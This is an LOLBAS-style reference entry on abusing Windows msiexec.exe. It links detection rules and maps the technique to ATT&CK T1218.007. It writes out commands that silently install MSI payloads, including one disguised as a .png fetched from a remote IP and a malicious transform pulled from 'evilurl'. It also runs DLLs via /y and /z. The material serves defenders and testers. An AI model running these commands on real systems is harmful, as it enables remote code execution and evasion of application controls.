.. /Msiexec.exe

Execute (DLL)

Used by Windows to execute msi files

Paths:
C:\Windows\System32\msiexec.exe
C:\Windows\SysWOW64\msiexec.exe

Resources:

- https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
- https://twitter.com/PhilipTsukerman/status/992021361106268161
- https://badoption.eu/blog/2023/10/03/MSIFortune.html

Acknowledgements:

- netbiosX (@netbiosX)
- Philip Tsukerman (@PhilipTsukerman)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml
- IOC: msiexec.exe retrieving files from Internet

Execute

. Installs the target .MSI file silently.

```
msiexec /quiet /i cmd.msi
```

Use case:	Execute custom made msi file with attack code
Privileges required:	User
Operating systems:	Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1218.007

. Installs the target remote & renamed .MSI file silently.

```
msiexec /q /i http://192.168.100.3/tmp/cmd.png
```

Use case:	Execute custom made msi file with attack code from remote server
Privileges required:	User
Operating systems:	Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1218.007

. Calls DllRegisterServer to register the target DLL.

```
msiexec /y "C:\folder\evil.dll"
```

Use case:	Execute dll files
Privileges required:	User
Operating systems:	Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1218.007
Tags:	Execute: DLL

. Calls DllUnregisterServer to un-register the target DLL.

```
msiexec /z "C:\folder\evil.dll"
```

Use case:	Execute dll files
Privileges required:	User
Operating systems:	Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1218.007
Tags:	Execute: DLL

. Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

```
msiexec /i "https://trustedURL/signed.msi" TRANSFORMS="https://evilurl/evil.mst" /qb
```

Use case:	Install trusted and signed msi file, with additional attack code as transformation file, from a remote server
Privileges required:	User
Operating systems:	Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1218.007